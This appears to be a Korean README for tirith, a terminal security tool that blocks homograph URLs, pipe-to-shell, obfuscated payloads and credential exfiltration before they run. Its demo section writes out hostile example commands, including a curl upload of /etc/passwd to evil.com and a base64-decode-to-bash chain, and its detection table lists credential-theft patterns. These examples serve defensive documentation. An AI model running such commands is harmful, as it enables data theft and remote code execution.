
개발자와 AI 에이전트를 위한 터미널 보안. 호모그래프 URL, 파이프-투-셸, ANSI 인젝션, 난독화된 페이로드, 데이터 유출, 악성 AI 스킬/구성(config)이 실행되기 전에 차단합니다.
# tirith
**브라우저라면 막아줄 텐데. 터미널은 그러지 않는다.**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, 터미널 보안" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[웹사이트](https://tirith.sh) | [문서](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [변경 이력](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [릴리스](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>독립 오픈소스 프로젝트이며, 호스팅은 Vercel 오픈소스 프로그램(2026년 봄 코호트)의 지원을 받습니다.</sub>
---
차이점을 찾을 수 있겠는가?```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
당신은 알 수 없습니다. 당신의 터미널도 마찬가지입니다. 두 `і` 문자 모두 키릴 문자(U+0456)이며, 라틴 문자 `i`가 아닙니다. 두 번째 URL은 공격자의 서버로 연결됩니다. 스크립트는 당신이 눈치채기 전에 실행됩니다.
브라우저는 이 문제를 몇 년 전에 해결했습니다. 터미널은 여전히 유니코드, ANSI 이스케이프, 보이지 않는 문자를 의심 없이 렌더링합니다. AI 에이전트는 내부에 무엇이 들어 있는지 검사하지 않고 셸 명령을 실행하고 패키지를 설치합니다.
**Tirith가 문 앞에 서 있습니다.** 이 도구는 명령, 붙여넣은 콘텐츠, 스캔한 파일을 가로채어 동형이의어 URL, 난독화된 페이로드, 자격 증명 유출, 악성 AI 스킬/설정, 그리고 서명된 위협 인텔리전스 데이터베이스에서 확인된 알려진 악성 패키지/도메인/IP를 실행 전에 차단합니다.```bash
brew install tirith
```
그런 다음 셸 프로필에서 활성화하세요:```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"`는 현재 셸을 자동 감지합니다(부모 프로세스를 검사하고 필요하면 `$SHELL`로 폴백합니다). 명시적 `--shell` 플래그는 감지를 재정의하려는 경우에만 필요합니다.
이것으로 대화형 셸 지원에 대한 설명은 끝입니다. 해당 셸에서 허용된 명령은 훅이 로드되어 정상 상태일 때 검사됩니다. 정확한 차단 동작은 셸과 모드에 따라 다릅니다. 설치 및 업그레이드 후 `tirith doctor`를 실행하고, 훅을 권한 부여 경계로 취급하기 전에 [셸별 적용](#enforcement-by-shell)을 읽어보세요. 깨끗한 명령은 조용히 유지되며 일반적으로 빠른 경로를 사용합니다.
[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) 및 [기타](#install)를 통해서도 사용할 수 있습니다.
---
## 실제 동작 보기
**실행 전에 차단된 동형이의어 공격:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
명령은 절대 실행되지 않습니다.
**깨끗한 URL을 사용한 파이프-투-셸, 경고됨, 차단되지 않음:**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
stderr에 경고를 출력합니다. 명령은 여전히 실행됩니다.
**Base64 디코드-실행 체인, 차단됨:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
sudo/env 래퍼와 PowerShell `-EncodedCommand`를 통한 디코드 체인도 탐지합니다.
**자격 증명 유출, 차단됨:**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
curl/wget 업로드 플래그, 환경 변수(`$AWS_SECRET_ACCESS_KEY`), 명령어 치환을 모두 포함합니다.
**스캔에서 탐지된 악성 스킬 파일:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
JS/Python 파일에서 난독화된 페이로드, 동적 코드 실행, 시크릿 유출 패턴을 스캔합니다.
**정상 명령어, 보이지 않음:**```
$ git status
$ ls -la
$ docker compose up -d
```
아무것도. 출력 없음. tirith가 실행 중이라는 사실을 잊게 된다.
---
## 무엇을 잡아내는가
**35개 카테고리에 걸친 244개의 탐지 규칙.**
| 카테고리 | 차단하는 것 |
|----------|--------------|
| **동형이의어 공격** | 호스트 이름의 키릴/그리스 문자 유사 글자, punycode 도메인, 혼합 문자 레이블, 유사 TLD, 혼동 가능 도메인, 텍스트 수준 혼동 문자 탐지(수학 영숫자, 동일 단어 혼합 문자) |
| **터미널 인젝션** | ANSI 이스케이프 시퀀스, 양방향 재정의, 제로 폭 문자, 유니코드 태그, 보이지 않는 수학 연산자, 변형 선택자, 한글 채움 문자 |
| **스테가노그래피 방어** | 보이지 않는 공백 인코딩(12가지 유니코드 공백 변형), 몽골 모음 구분자, 한글 채움 문자, 수학 영숫자 치환, st3gg 스타일 텍스트 스테가노그래피에 대한 방어 |
| **파이프-투-셸** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, 그리고 다수의 래퍼, 디코드, 우회 경로 |
| **Base64 디코드-실행** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env 래퍼를 통한 디코드 체인 |
| **데이터 유출** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, 환경 변수 업로드(`$AWS_SECRET_ACCESS_KEY`), 명령 치환 유출 |
| **코드 파일 스캐닝** | 난독화된 페이로드(`eval(atob(...))`), 동적 코드 실행(`exec(b64decode(...))`), JS/Python 파일에서 `fetch`/`requests.post`를 통한 비밀 유출 |
| **자격 증명 탐지** | AWS 키, GitHub PAT, Stripe/Slack/SendGrid/Anthropic/GCP/npm 토큰, 개인 키 블록, 그리고 엔트로피 기반 일반 비밀 탐지 |
| **침해 후 행동** | 프로세스 메모리 스크래핑(`/proc/*/mem`), Docker 원격 권한 상승, 자격 증명 파일 스윕, TeamPCP 및 UNC1069 침해 후 도구에 맞춰 보정됨 |
| **명령 안전성** | 닷파일 덮어쓰기, 민감한 경로로의 아카이브 추출, 클라우드 메타데이터 엔드포인트 접근, 사설 네트워크 접근 |
| **안전하지 않은 전송** | 셸로 파이프되는 평문 HTTP, `curl -k`, 비활성화된 TLS 검증, 목적지를 숨기는 단축 URL |
| **환경** | 프록시 하이재킹, 민감한 환경 변수 내보내기, 환경을 통한 코드 인젝션, 인터프리터 하이재킹, 셸 인젝션 환경 |
| **설정 파일 보안** | 설정 인젝션, 의심스러운 지표, 설정 내 비ASCII/보이지 않는 유니코드, MCP 서버 보안(안전하지 않음/신뢰할 수 없음/중복/과도한 허용) |
| **생태계 위협** | Git clone 타이포스쿼팅, 신뢰할 수 없는 Docker 레지스트리, pip/npm URL 설치, web3 RPC 엔드포인트, vet 미설정 |
| **설치 명령 안전성** | 파이프된 다운로드에서 추가된 APT 저장소, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`(서명 검사 비활성화), 원시/단축 원격 매니페스트에 대한 `kubectl apply -f`, 신뢰할 수 없는 저장소의 Helm 차트, 신뢰할 수 없는 원격 소스의 Terraform 모듈, 임의 URL에서의 `brew install`/`tap` |
| **경로 분석** | 비ASCII 경로, 경로 내 동형 문자, 이중 인코딩 |
| **렌더링된 콘텐츠** | 숨겨진 CSS/색상 콘텐츠, 숨겨진 HTML 속성, 주석 콘텐츠 분석(High에서 프롬프트 인젝션, Medium에서 파괴적 명령) |
| **클로킹 탐지** | 서버 측 클로킹(봇 대 브라우저), 클립보드 숨겨진 콘텐츠, PDF 숨겨진 텍스트 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender 제외(`Add-MpPreference -Exclusion*`), 인라인 `iex (iwr ...)` 다운로드-실행 |
| **터미널 출력 방어** | OSC 52 클립보드 쓰기, 가짜 프롬프트, OSC 8 하이퍼링크 및 제목 / 화면 지우기 조작, 명령 또는 MCP 도구 출력 내부의 프롬프트 인젝션(원시 및 디난독화된 형태 모두 스캔되므로 보이지 않는 문자, 혼동 문자, 띄어쓰기, 리트스피크, 짧은 base64 / hex 회피도 잡힘), 그리고 출력 데이터 유출(비컨 URL 또는 "비밀을 읽은 후 전송" 지시) |
| **운영 컨텍스트** | 레이블이 지정된 프로덕션 클라우드 / k8s 컨텍스트 및 SSH 호스트에 대한 파괴적 명령, 일치하는 저장된 계획 없이 Terraform / Pulumi / OpenTofu `apply`, 위험한 sudo 권한 상승, 권한 있는 `docker run` |
| **워크스테이션 및 지속성** | 느슨한 권한의 자격 증명 파일 및 평문 토큰(`~/.ssh`, `~/.aws`, `.npmrc`), 지속성 거점(셸 rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH 하이재킹 순서, 실행 파일 출처, 위험한 별칭, 민감한 환경 변수 수명 주기 |
| **영향 범위 및 상관 관계** | 저장소를 벗어나는 삭제, 대량 삭제, 위험한 소스에서 다운로드한 파일 실행, 그리고 비밀 쓰기 후 네트워크 또는 삭제 후 `git push --force`와 같은 세션 체인 |
| **신뢰, 증명 및 출처** | 서명된 명령 카드 불일치, 카나리 허니토큰 접촉, 붙여넣기 소스-호스트 불일치, 호출자 출처(에이전트) 정책 거부, MCP 잠금 파일 드리프트, 알려진 안전 스냅샷 대비 AI 설정 드리프트 |
| **Web3 명령 가드** | Cast / Forge / Hardhat / Solana / Anchor 명령의 온체인 쓰기(동일 명령이 선언된 안전 제어를 비활성화하는 경우 High), 명령줄의 원시 개인 키, 키페어 또는 니모닉 자료, 그리고 운영자의 `web3_guard` 정책이 신뢰하지 않는 RPC 엔드포인트 또는 서명자. 문법과 정책만: 체인 상태를 읽지 않고, 트랜잭션을 시뮬레이션하지 않으며, 주소를 점수화하지 않음 |
| **지갑 유출** | 검토된 지갑, 키스토어, 브라우저 지갑, Solana 키페어 자료가 입증된 원격 싱크로 흘러가는 것, 아카이브, base64, hex, 압축기, 암호화기 스테이징 홉 및 `xargs` / `find -exec` 피연산자 승격 포함. 소스 전용 읽기는 의도적으로 발견 사항이 아님 |
| **CI 아티팩트 오염** | 빌드 아티팩트를 업로드하는 포크에서 도달 가능한 워크플로가, 트리거 실행에 바인딩된 권한 있는 `workflow_run` 워크플로에 의해 소비되어 실행, 소싱, PATH 변경, 게시 또는 배포되는 것 |
---
## tirith가 보호하지 않는 것
Tirith는 명령, 붙여넣은 텍스트, 파일이 실행되기 **전에** 그 **구조**를 분석한다. 이는 실행 전 게이트이지 런타임 방어가 아니며, 다음을 다루지 않는다:
- **일반 런타임 샌드박싱:** 일반 셸 훅과 `tirith check`는 경고하거나 차단할 뿐, 실행 후 명령을 격리하지 않는다. 명시적인 `capsule run --preset untrusted-project`와 강제 적용되는 `pkg install` 경로는 지원되는 x86_64 Linux 호스트에서만 실패 폐쇄형 격리를 제공한다.
- **실행 후 네트워크 모니터링:** 프로세스가 실행된 후 네트워크에서 하는 일은 범위 밖이다.
- **일반 멀웨어 / 페이로드 탐지:** tirith는 안티바이러스가 아니며 페이로드를 폭파(detonate)하지 않는다. 구조를 분석하고 서명된 위협 데이터베이스의 정확한 지표 및 아티팩트/파일 해시를 매칭할 수 있지만, 알려지지 않은 페이로드가 매칭의 부재로 인해 무해하다고 입증되지는 않는다. (`tirith run`은 다운로드한 스크립트의 구조를 검사하지만, 여전히 동적 멀웨어 분석은 아니다.)
- **권한 있는 root/admin 공격자:** 이미 root 또는 admin인 사람은 tirith를 사소하게 우회할 수 있다. 이는 속은 입력에 대항해 방어하는 것이지, 이미 머신을 장악한 공격자에 대항하는 것이 아니다.
- **안티 디버깅 / 안티 탬퍼링:** tirith는 리버스 엔지니어링에 저항하지 않으며 로컬 공격자로부터 자체 바이너리를 보호하지 않는다.
- **온체인 분석:** Web3 가드는 명령 문법을 읽는다. 체인 상태를 읽지 않고, 트랜잭션을 시뮬레이션하지 않으며, ENS를 해석하지 않고, 주소를 점수화하지 않으며, 컨트랙트를 감사하지 않고, 멤풀을 감시하지 않는다.
- **npm 아티팩트 방화벽:** tirith는 npm 명령 문법과 레지스트리 신원 사실을 파싱하고, 프로젝트 자체의 npm에 서명 및 출처 상태를 물어볼 수 있다. npm이 설치하는 tarball 바이트를 다운로드, 추출, 격리 또는 바인딩하지는 않는다. 격리되고 해시가 고정된 아티팩트 방화벽은 Python 전용이다.
- **브라우저 포렌식 또는 모니터링:** `tirith browser audit`는 확장 소스 트리에 대한 명시적이고 일회성이며 읽기 전용인 무결성 감사이다. 쿠키, 기록, 저장된 비밀번호, 스토리지, 지갑 데이터베이스 또는 `Local State`를 절대 읽지 않고, 아무것도 제거하거나 격리하지 않으며, 데몬이 없다.
- **재현 가능한 빌드:** `attest` 영수증은 두 트리가 한 시점에 무엇을 담고 있었는지 기록한다. Tirith는 빌드를 실행하지 않으며 출력이 소스에서 나왔다고 말할 수 없다. 배포 영수증은 시점 측정이지 지속적인 모니터링이 아니다.
전체 위협 모델과 명시적 비목표는 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md)를, tirith가 무엇을 탐지, 결정, 강제, 격리, 증명하는지에 대한 기능별 원장은 [docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md)를 참조하라.
---
## 알려진 한계
- **셸 훅 취약성:** 보호는 셸 훅이 설치되고 활성 상태로 유지되는 것에 의존한다. 훅은 셸, 셸 버전, 프롬프트 프레임워크, 기록 도구 전반에 걸쳐 깨지거나 조용히 성능이 저하될 수 있다. `tirith doctor`를 실행하여 실시간 상태를 확인하고 경고 전용 성능 저하를 주시하라.
- **가득 찬 또는 읽기 전용 임시 저장소:** zsh와 fish는 Tirith를 호출하기 전에 스크래치 파일을 통해 입력을 캡처하며, 해당 파일을 생성할 수 없으면 실패 폐쇄한다. 따라서 가득 찬/읽기 전용 `TMPDIR`은 모든 명령을 거부할 수 있고, 바이너리에 도달하지 못하므로 `TIRITH=0`으로도 복구할 수 없다. [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md)의 복구 단계를 따르라.
- **플랫폼 제한 기능:** 데몬 모드, `tirith run`, `tirith fetch`는 Unix 표면이다. `tirith run --no-exec`는 그곳에서 검사 워크플로로 남지만, 라이브 원격 스크립트 실행은 Linux 전용이며 다른 모든 호스트에서는 다운로드 전에 거부한다. `tirith setup`은 크로스 플랫폼이지만, 각 호스트 통합은 자체 플랫폼 계약을 가진다(예를 들어 Cline은 POSIX 및 Windows 래퍼를 가지고, OpenHands의 차단 훅은 Unix 전용이다).
- **패키지 이름 추출 범위:** 언어 생태계(pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle)를 다루며, 배포판 패키지 관리자(`apt`, `dnf`, `yum`, `pacman`)는 다루지 않는다.
- **AI 에이전트 주의 사항:** 셸 훅 가로채기는 훅이 걸린 대화형 셸을 통과하는 명령만 보호한다. 비대화형 셸을 생성하거나, `exec`를 직접 호출하거나, 훅이 로드되지 않은 상태로 실행하는 에이전트는 그 계층에 의해 다루어지지 않는다. MCP 등록은 호출이 게이트웨이를 통해 라우팅되지 않는 한 협조적이다. 지원되는 사전 도구 훅은 호스트 명령을 자동으로 보류할 수 있지만, 해당 호스트가 이를 로드하고 존중한 경우에만 그렇다. 여러 호스트는 훅 프로세스가 오류를 낼 때 실패 개방한다. 설정 파일의 존재만이 아니라 유효한 호스트를 검증하라.
- **호스트 훅 실패 동작:** Grok Build, Cline, OpenHands는 훅 프로세스가 충돌하거나 타임아웃되면 도구를 허용한다. Tirith의 어댑터는 기본적으로 자체 오류 시 거부하지만, 반환하지 않은 프로세스를 호스트가 존중하도록 강제할 수는 없다. 고정된 인터프리터가 이동하면 설정을 다시 실행하고, 모든 업그레이드 후 실제 호스트를 테스트하라.
- **Prime Agent IPython은 소스 수준 추출:** 가드는 셸 이스케이프/매직과 일반적인 `os`, `subprocess`, `pty.spawn` 형태를 다루지만, Python 런타임 샌드박스는 아니다. 이전 셀에서 정의된 래퍼, `getattr`/`__import__`와 같은 리플렉션, 또는 프로세스를 생성하는 서드파티 패키지는 소스 렉서가 입증할 수 있는 것을 벗어날 수 있다.
- **커스텀 DLP 및 머신 출력:** 광범위한 `dlp_custom_patterns`는 현재 재귀적으로 수정된 JSON/MCP 프로젝션에서 프로토콜 소유 문자열 값을 재작성할 수 있으며, 생성된 식별자나 영수증 메타데이터를 포함한다. 서명되거나 머신 안정적인 출력을 소비할 때 구조적 값과 일치할 수 있는 패턴을 피하라. 이는 릴리스 전에 필드 인식 수정이 필요하다.
- **무인 설치 승인:** `tirith install --yes`는 패키지 관리자 작업 게이트의 무인 `require_approval` 채널로 허용된다. 이는 명시적 운영자 플래그이지, 사람의 TTY 확인 증거가 아니다. 무인 실행이 불가능해야 하는 경우 차단 작업 정책을 사용하라.
- **해석된 MCP 바인딩:** 정확한 해석 서버 바인딩은 진정한 의존성 폐쇄를 발견하는 대신 고정된 상한 아래에서 저장소 트리를 해싱하므로, 큰 트리, 심볼릭 링크 또는 특수 파일은 실행을 거부할 수 있다. 스폰 전에 재검증하지만 봉인된 검토 디스크립터에서 인터프리터 입력을 실행하지 않으므로, 동시 동일 사용자 변경은 검증-대-로드 간극으로 남는다.
- **작업 게이트 커버리지:** 작업 효과 추론은 Web3 셸 문법만 모델링하고 그 외에는 아무것도 하지 않으므로, 거의 모든 일반 SHELL 명령이 INCOMPLETE로 보고된다. `task_gate.mode: enforce`와 `action_incomplete_analysis: block`은 셸 봉투를 제출하는 다섯 경계에서 이를 거부하고, 항상 완전으로 평가되는 네 개의 패키지 및 설정 쓰기 경계에서는 아무것도 변경하지 않는다. `warn`이 기본값이다. 대안인 `effects_denied_for_untrusted_sources`는 모든 소유 경계에서 모든 호출에 대해 명명된 효과를 거부하며, 직접 입력한 명령도 포함한다. 왜냐하면 그 경계의 어떤 소스도 신뢰할 수 있는 것으로 취급되지 않기 때문이다.
- **격리는 x86_64 Linux:** `tirith capsule run --preset untrusted-project`와 강제 적용되는 `tirith pkg install`은 사용 가능한 Landlock ABI가 있는 x86_64 Linux에서만 강제 가능하다. 다른 모든 호스트는 아무것도 복사되거나 스폰되기 전에 거부하며, 성능 저하 폴백이 없다. 도메인 허용 목록은 어떤 백엔드에서도 제공되지 않는다.
- **중첩 셸 유출 간극:** 싱크가 외부에 있는 중첩 셸 본문 내부의 민감한 읽기, 예를 들어 `bash -c "cat <wallet>" | curl -d @- <url>`은 현재 상관되지 않는다. `-c` 본문 전체가 내부 또는 전체가 외부에 있는 동일한 체인은 탐지된다.
- **실행 증거 등급:** Linux 실행은 중지된 `exec` 전환, 내구성 있는 상태 업데이트, 승인된 재개, 터미널 런처 증명이 모두 완료된 후에만 확인된다. 게이트웨이 호출은 정확히 상관된 결과에 의해서만 확인된다. 타임아웃되거나 취소된 셸 관찰 및 전달된 게이트웨이 호출은 보수적인 미해결 증거로 남으며, 결코 확인된 실행이 아니다. 엄격한 셸 영수증은 대화형 bash, zsh, fish에 사용할 수 있으며, PowerShell은 사전 점검 전용으로 남는다. 네이티브 Linux 런처 동작은 Linux CI 또는 네이티브 Linux 호스트에 의해 검증되어야 하며, 이식 가능한 소스/단위 커버리지나 macOS 빌드로 대체할 수 없다.
- **Web3 커버리지 간극:** `forge create`는 아직 엔진 표면에서 모델링되지 않았고, 여러 선언된 `web3_guard` 필드는 파싱되지만 강제되지 않으며, 스키마-2 명령 카드 Web3 바인딩은 아직 CLI 작성 또는 라이브 엔진 소비 경로가 없다. 이를 알려진 간극으로 취급하라, 조용한 승인이 아니라.
---
## 위협 인텔리전스
Tirith는 패키지, 호스트 이름, IP 평판을 위한 서명된 로컬 위협 데이터베이스를 제공한다. 셸 훅 또는 `tirith check`가 패키지 설치 또는 의심스러운 인프라 참조를 보면, 정적 휴리스틱에만 의존하는 대신 명령이 실행되기 전에 해당 입력을 데이터베이스와 매칭한다.
**서명된 DB** (CI에서 빌드되고 다운로드 및 로드 시 검증됨):
- [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) 및 [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)의 알려진 악성 패키지
- [Feodo Tracker](https://feodotracker.abuse.ch/)(abuse.ch)의 악성 IP 인프라
- [ecosyste.ms](https://ecosyste.ms/)의 확인된 타이포스쿼트 및 인기 패키지 기준선
- 런타임 권고 상관을 위한 [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) 카탈로그
ThreatDB v2는 정확한 아티팩트 SHA-256 값, 설치된 파일 해시, 악성 URL, 캠페인 소속, 행동 태그를 추가한다. 서명된 인덱스, 업데이터, 컴파일러, 로더는 단계적 전환 동안 v1과 v2를 지원하고, 시퀀스 롤백을 거부하며, 트랜잭션 방식으로 게시하고, 업데이트가 불완전하거나 유효하지 않을 때 서명된 최종 정상 데이터베이스를 유지한다. DigitalSide 소스는 구현되었지만 신선도 및 운영 계약이 승인될 때까지 의도적으로 비활성 상태이다.
**선택적 보충 피드** (사용자 로컬 오버레이):
- abuse.ch 인증 키를 통한 [URLhaus](https://urlhaus.abuse.ch/) 및 [ThreatFox](https://threatfox.abuse.ch/)
- [PhishTank](https://phishtank.org/)(Cisco Talos) 및 [Phishing Army](https://phishing.army/) 차단 목록
- [Tor Project](https://www.torproject.org/)의 Tor 출구 노드 목록
**`tirith check` 및 데몬 모드 중 선택적 라이브 강화:**
- [OSV.dev](https://osv.dev/) 권고 조회(Google OSS)
- [deps.dev](https://deps.dev/) 패키지 상태 신호(Google OSS) 및 [ecosyste.ms](https://ecosyste.ms/) 유지관리자 데이터
- 자체 API 키를 사용한 [Google Safe Browsing](https://safebrowsing.google.com/) URL 평판```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
기본적으로 셸 훅과 `tirith check`는 24시간마다 저비용 백그라운드 새로 고침 검사를 트리거합니다. 데몬 모드는 동일한 보강 경로를 백그라운드에서 계속 활성 상태로 유지합니다.
`threat-db explain`은 도메인, 패키지 이름(`name`, `ecosystem:name`, 또는 `name@version`), 또는 IPv4 주소를 받습니다. 바이너리는 항목별 이력을 보관하지 않으므로, `threat-db diff`는 스냅샷 간의 카테고리 및 소스별 개수 차이를 보고하며, 변경된 정확한 항목은 보고하지 않습니다. 모든 `threat-db` 명령은 `--format json`을 받으며, `threatdb`는 별칭입니다.
### 패키지 위험 점수 산정
`tirith package risk <ecosystem> <name>`은 `tirith score`가 URL을 점수화하는 방식과 동일하게 패키지의 공급망 / 유지관리자 위험을 점수화합니다. 즉, **결정적이고 완전히 설명 가능한 명명된 요인들의 합**이며, 모델도 학습된 가중치도 사용하지 않습니다. `tirith package explain <ecosystem> <name>`은 요인별 도출 과정을 추가로 제공하며, 둘 다 `--format json`을 받습니다.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
**기본적으로 오프라인.** 플래그 없이 실행하면 모든 신호는 로컬에서 처리되며 네트워크 호출이 없습니다: (1) **이름 대 인기 패키지**: 알려진 인기 패키지, 알 수 없는 패키지, 또는 인기 이름과 한 글자 차이의 근접 오타(전형적인 typosquat/slopsquat 형태)로, 로컬 위협 데이터베이스의 `popular` 집합에서 판별합니다; (2) **알려진 악성 typosquat**: 위협 DB의 `typosquat` 인덱스에서 정확히 일치하는 항목; (3) **설치 / 라이프사이클 스크립트** 및 (4) **번들된 바이너리 블롭**으로, 패키지 콘텐츠가 로컬에서 사용 가능한 경우(`node_modules` / `site-packages` 아래, 또는 `--path`를 통해)에만 탐지됩니다. tirith는 패키지를 **절대 다운로드하지 않습니다**.
**`--online`은 레지스트리 출처 정보를 추가합니다.** 패키지의 레지스트리(npm, PyPI, 또는 crates.io)를 조회하여 *동일한* 팩터 합산 모델에 여섯 가지 추가 요소를 반영합니다: 패키지/버전 연령, 소유자가 없는 기존 패키지, 비정상적인 버전 급증, 매우 낮은 다운로드 수, 소스 저장소 누락, 그리고 yanked/deprecated 상태입니다. 이는 `package risk` 자체가 네트워크에 접근하는 유일한 경로이며, `tirith check`와 데몬 모드는 별도의 정책 제어 런타임 보강 경로를 가집니다. `--offline` / `TIRITH_OFFLINE`은 이 스코어러를 강제로 오프라인으로 전환합니다. 실패 시에는 정직한 `api signals: unavailable`과 함께 오프라인 점수로 폴백하며, 응답은 TTL로 캐시되어 반복 실행이 레지스트리를 과도하게 두드리지 않도록 합니다.
점수는 참고용이며 독립적입니다: `package risk`는 탐지 규칙이 아니며 판정, 종료 코드, 감사 로그를 변경하지 않습니다.
### 에코시스템 스캔 및 의존성 위험
`tirith ecosystem scan [path]`는 `package risk`의 디렉터리 수준 동반 도구입니다. 프로젝트를 순회하며 인식하는 모든 의존성 매니페스트를 발견합니다 — npm(`package.json`, `package-lock.json`), Python(`requirements*.txt`, `pyproject.toml`), Rust(`Cargo.toml`), Go(`go.mod`), Ruby(`Gemfile`) — 그리고 **선언된 모든 의존성**을 동일한 결정론적 `package_risk` 팩터 엔진으로 점수화합니다.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
```
**슬롭스쿼팅 탐지 기능이 내장되어 있습니다.** *슬롭스쿼팅(Slopsquatting)*은 LLM이 의존성으로 환각하기 쉬운 그럴듯하지만 가짜인 이름을 등록하는 행위입니다. `ecosystem scan`은 **세 가지** 조건이 모두 충족될 때만 이를 탐지합니다: 해당 이름이 실제로 알려졌거나 인기 있는 이름이 아니고, **AI 환각의 형태**를 띠며(`python-` / `node-` 같은 언어 접두사와 설명적 토큰의 조합, `helper` / `utils` / `client` 같은 일반적인 채움 단어의 연속, 또는 비정상적으로 긴 이름), **그리고** 실제 인기 있는 이름과 유사한 위치에 있는 경우(한 글자 차이의 근접 오타이거나, 인기 있는 이름을 단어로 포함하는 경우)입니다. 세 가지를 모두 요구함으로써 오탐을 낮게 유지합니다: 인기 있는 이름과의 연결 고리가 없는 정직한 `data-utils`는 탐지되지 않습니다.
**기본적으로 오프라인, 선택적 `--online`.** 이름 및 타이포스쿼팅 신호는 로컬 위협 데이터베이스에서 가져옵니다; `--online`은 레지스트리 출처 정보를 추가하며, `package risk --online`과 정확히 동일하게 게이트되고 제한됩니다. 이 플래그는 에코시스템 스캔을 제어하며 `tirith check`의 독립적인 런타임 강화 정책을 변경하지 않습니다. 탐지 결과는 tirith의 일반적인 `Verdict` / `Finding` 모델을 통해 흐릅니다: 설명 가능하고(`tirith explain --rule threat_suspicious_package`), 감사 로그에 기록되며, 정책 허용 목록을 존중합니다(허용 목록에 있는 패키지는 단순 이름 또는 `ecosystem:name` 형식으로 억제됩니다). 종료 코드는 `tirith scan`과 일치합니다: 차단 발견 시 `1`, 권고 시 `2`, 깨끗할 때 `0`.
이는 알려진 악성 패키지, 확인된 타이포스쿼트, 슬롭스쿼팅된 패키지 이름, 악성 다운로드 인프라, 그리고 실시간 OSV / CISA KEV 권고 데이터가 있는 패키지를 탐지하는 데 도움이 됩니다.
### Python 아티팩트 검사 및 설치 강제
패키지 이름 위험은 한 계층에 불과합니다. Tirith는 이미 보유한 정확한 Python 바이트를 검사할 수 있으며, 지원되는 호스트에서는 해시 고정 설치 계획을 강제할 수 있습니다:```bash
# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv
# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests
```
```
---
[Read more](https://github.com/sheeki03/tirith)